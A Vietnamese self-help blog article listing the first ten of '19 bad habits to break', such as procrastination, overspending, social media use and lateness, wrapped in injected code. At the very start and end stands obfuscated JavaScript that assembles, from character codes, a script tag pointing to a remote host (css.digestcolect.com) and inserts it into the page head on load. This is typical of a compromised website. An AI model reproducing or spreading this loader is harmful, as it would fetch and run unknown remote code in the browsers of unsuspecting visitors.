Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

19 thói quen xấu cần phá bỏ

Những thói quen xấu giống như một chiếc giường thoải mái, dễ đi vào, nhưng khó thoát ra. ” – Anonymous

Thói quen xấu sẽ cản trở thành công cá nhân của bạn. Học cách phá bỏ những thói quen xấuxây dựng những thói quen tốt để đạt được thành công trong cuộc sống và công việc. Bởi vậy, Jade House sẽ bóc tách 19 thói quen xấu phổ biến mà bạn cần phá bỏ!

Xem thêm: 19 thói quen xấu cần phá bỏ (phần 2)

Thói quen xấu số 1: Trì hoãn các nhiệm vụ quan trọng

Vào một thời điểm nào đó, mọi người đều trì hoãn với các nhiệm vụ. Bạn luôn có một ý nghĩ rằng chưa đến lúc để làm nhiệm vụ này, cứ tạm gác nó sang một bên, bạn cần chút thời gian nghỉ ngơi.

Nếu sự trì hoãn của bạn khiến hiệu suất công việc giảm; sếp, gia đình, bạn bè hoặc đồng nghiệp phàn nàn về điều đó. Khi bạn biết sự trì hoãn đó ảnh hưởng tiêu cực đến công việc thì bạn chắc chắn phải thay đổi.

Hãy dừng sự trì hoãn này mãi mãi bằng những thói quen tốt sau:

  • Ngừng mọi thứ cho đến phút cuối cùng hoặc khi đã hoàn thành xong.
  • Lập một danh sách các mục tiêu có thể đạt được và bắt tay vào làm ngay lập tực.
  • Tưởng tượn phần thưởng của nhiệm vụ này.
  • Đừng để suy nghĩ “một lát nữa làm” đánh lừa bạn.
  • Chia nhiệm vụ lớn thành những nhiệm vụ nhỏ và giải quyết từng việc một.
  • Thức dậy sớm và lập danh sách các việc cần làm trong ngày.
  • Xử lý các nhiệm vụ quan trọng trong vòng 10 phút

Thói quen xấu số 2: Mất kiểm soát chi tiêu

Có phải bạn luôn luôn phá vỡ giới han ngân sách, hóa đơn của bạn dài hơn và nhiều hơn. Hạn mức thẻ tín dụng ngoài tầm kiểm soát? Có nợ của bạn cảm thấy như một ngọn núi trên ngực của bạn? Những món nợ giống như ngọn núi to lớn đè lên ngực bạn và bạn cảm thấy căm thẳng và lo âu. Bạn đang mất kiểm soát chi tiêu rồi đó. Vấn đề của bạn, hoặc phải tăng thêm nguồn thu nhập hay phải giảm bớt chi tiêu. Không phải ai cũng dễ dàng tìm được thêm nguồn thu nhập mới. Hãy dành thời gian để vạch ra những phương án chi tiêu hợp lý. Ngay cả khi bạn giàu có, những thói quen tốt giúp kiểm soát chi tiêu dưới đây luôn hữu ích và thiết thực.

  • Thiết lập ngân sách.
  • Hãy tạo cho mình một khoản trợ cấp và gắn bó với nó.
  • Để thẻ tín dụng của bạn ở nhà.
  • Bạn không cần mọi thứ bạn thích.
  • Tránh mua sắm với những người bạn chi tiêu quá mức.
  • Thanh toán hóa đơn đầu tiên và tiết kiệm phần còn lại

Thói quen xấu số 3: Bị nghiện giải trí

Những hình thức giải trí hiện nay quá hấp dẫn và có mê lực đối với tất cả mọi người. Xem phim, café sang chảnh, game thực chiến. Hãy thực hiện các thói quen tốt sau:

  • Đọc sách hoặc một cái gì đó mà bạn quan tâm.
  • Ngừng tìm kiếm những thử độc lạ, mới mẻ
  • Hãy ra ngoài và giao lưu với bạn bè

 

Đọc sách hoặc một cái gì đó mà bạn quan tâm.
19 thói quen xấu cần phá bỏ – Jade House Việt Nam

Thói quen xấu số 4: Dành quá nhiều thời gian cho mạng xã hội

Mạng xã hội đang trở thành chất gây nghiện như cafein có trong tách cà phê mỗi sáng. Sự hài lòng tạm thời mà bạn nhận được từ số lượt thích của và lượt xem từ các status, hình ảnh và video trên mạng xã hội. Bạn cảm thấy mình đang được quan tâm, được tán dương mặc dù điều đó có thể đến từ những người xa lạ.

Mạng xã hội không chỉ ngăn cản bạn tạo ra các mối quan hệ bền vững trong cuộc đời, mà bạn còn cạnh tranh với những người có cuộc sống tốt nhất.

  • Mạng xã hội tạo nên Hội chứng FOMO (Nỗi sợ bị bỏ lỡ).
  • Lòng tự trọng giảm.
  • Mọi người thường so sánh cuộc sống của họ với những người trên mạng xã hội, điều này có thể dẫn đến trầm cảm.
  • Ngừng phán xét, bình luận về cuộc sống của người khác và hãy sống vì cuộc sđời của bạn.
  • Hãy dành thời gian cho những người bạn thân thiết
  • Việc rời bỏ mạng xã hội là một điều tương đối khó khắn. vì vậy, bạn hã thử giảm số giờ bạn dành cho nó và cảm nhận xem cuốc sống của bạn thay đổi như thế nào..

Xem thêm: 19 thói quen xấu cần phá bỏ (phần 2)

Thói quen xấu số 5: Không biết nói lời từ chối

Hầu hết mọi người thường không học cách từ chối đối với một số việc và những người khác. Nỗi sợ bị đánh giá hoặc không thích, đôi khi chúng ta phải gánh chịu nhiều hơn những gì chúng ta có thể xử lý.

Ngay cả khi chúng ta cố gắng thuyết phục bản thân rằng chúng ta sẽ không nói đồng ý một lần nữa, chúng ta vẫn sợ hãi, căng thẳng và cuối cùng nói đồng ý.

Nỗi sợ bị từ chối hoặc trở nên không tử tế và thô lỗ, khiến chúng ta không nói không bởi vì tất cả chúng ta đều muốn được yêu thích, khen ngợi.

  • Bạn có thể nói không hoặc từ chối bất cứ việc gì hoặc người nào.
  • Mọi người sẽ tôn trọng bạn hơn nếu bạn có đứng vững trên lập trường của mình và ngừng nói đồng ý.
  • Ngừng đồng ý với những người khác để làm hài lòng họ.
  • Ngừng dành thời gian với những người bạn không thích.
  • Nói không không có nghĩa là thô lỗ.
  • Nói không không làm cho bạn trở thành một người xấu, điều đó có nghĩa là bạn đã chọn không cam kết thời gian của mình để làm những việc bạn không muốn.

Thói quen xấu số 6: Đa nhiệm

Mọi người đều muốn có hiệu suất cao hơn bằng cách làm nhiều việc hơn trong một khoảng thời gian ngắn. Lượng công việc tăng lên đó có thể không phù hợp với năng lực và vị trí hiện tại của bạn.

Tuy nhiên, đã có nhiều nghiên cứu được tiến hành chứng minh rằng bộ não con người không có khả năng đa nhiệm hiệu quả. Bạn chỉ đơn giản là chuyển trọng tâm từ nhiệm vụ này sang nhiệm vụ khác trong khi cố gắng hoàn thành cả hai với tốc độ nhanh chóng.

  • Nó đã được chứng minh rằng đa nhiệm gây ra hậu quả xấu hơn là giúp bnaj hoàn thành công việc nhanh hơn.
  • Đa nhiệm gây căng thẳng
  • Đa nhiệm gây lo lắng
  • Nó trở thành một cái cớ mà chúng ta sử dụng để đảm nhận nhiều việc hơn những gì chúng ta muốn.
  • Là con người, chúng ta không có khả năng thực hiện hai nhiệm vụ một lúc để hiệu quả tương đương.

Thói quen xấu số 7: Suy nghĩ tiêu cực

Suy nghĩ tiêu cực là sự sợ hãi dựa trên những kịch bản tiêu cực được hình thành sẵn trong tâm trí của bạn như một cách bảo vệ bản thân trước những biến cố hoặc những điều bạn trải qua.

Kiểu suy nghĩ giúp bạn có cảm giác an toàn trước những rủi ro trong cuốc sống. Nếu bạn muốn thay đổi cuộc sống của mình, bạn phải thay đổi tư duy của mình.

  • Đừng cho phép những suy nghĩ tiêu cực làm lu mờ tâm trí của bạn.
  • Thực hành thay thế những suy nghĩ tiêu cực bằng những suy nghĩ tích cực.
  • Nghe một cái gì đó tích cực mỗi sáng trước khi bắt đầu ngày mới của bạn.
  • Tu tập chánh niệm hàng ngày

Thói quen xấu số 8: Trễ giờ/Đi muộn

Lý do thực sự khiến hầu hết mọi người luôn đến muộn ở bất cứ đâu chỉ đơn giản là họ không muốn đến sớm. Họ không bận tâm đến việc nỗ lực thêm để có mặt đúng giờ bởi vì, điều đó không quan trọng đối với họ. Sâu xa hơn, họ biết những người mong đợi, sẽ tha thứ hoặc loại bỏ sự coi thường của họ vì đã đến muộn.

Nếu ai đó hứa với bạn một một tỷ và tất cả những gì bạn phải làm là gặp họ vào ngày hôm sau theo địa chỉ họ cung cấp, bạn có bị trễ không? Nó thực sự phụ thuộc vào những gì quan trọng đối với họ.

  • Đi muộn là một dấu hiệu của sự thiếu tôn trọng
  • Luôn đến sớm các cuộc hẹn của bạn
  • Hãy dành cho mình nhiều thời gian để sẵn sàng cho các cuộc hẹn
  • Đặt báo thức và nhắc nhở để tránh bị trễ

Thói quen xấu số 9: Khi căng thẳng sẽ ăn nhiều hơn

Sử dụng nhiều thực phẩm để cảm thấy tốt hơn đã trở thành một cơ chế đối phó mà nhiều người sử dụng để đối phó với căng thẳng, chán nản và cô đơn.

Điều quan trọng là phải phân biệt khi nào cơ thể bạn đói và khi nào cảm xúc của bạn được yêu cầu được cho ăn. Cơn đói cảm xúc không nên được thỏa mãn vì cảm xúc kích hoạt cơn đói của bạn sẽ ở đó sau khi bạn tiêu thụ calo.

Có nhiều cách lành mạnh hơn để đối phó với cảm xúc của bạn, hiểu rằng thực phẩm là nhiên liệu và không phải là sự thoải mái.

  • Đừng mặc cảm tội lỗi
  • Đừng lười biếng, hãy nhấc mông lên và làm bất cứ việc gì.
  • Nếu bạn của bạn là một kẻ lười biếng, hãy dành ít thời gian với họ hơn. Những thói quen của bạn bè luôn ảnh hưởng đến bạn.

Thói quen xấu số 10: Ghen tị với người khác

Hầu hết mọi người đều có cảm xúc ghen tị với ai đó, ám ảnh về những gì người khác có, tại sao mình lại không có những kỳ nghỉ đáng nhờ và mối quan hệ tuyệt vời.

Ghen tị không thay đổi bất cứ điều gì, thật lãng phí thời gian để ghen tị với những người may mắn hơn bạn.

Khi người khác thành công, hoặc hạnh phúc bạn lại có hành động gầm gừ, thật ngớ ngẩn.

Còn tiếp…

Xem thêm: 19 thói quen xấu cần phá bỏ (phần 2)

(Dunji, Sưu tầm và biên soạn)

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();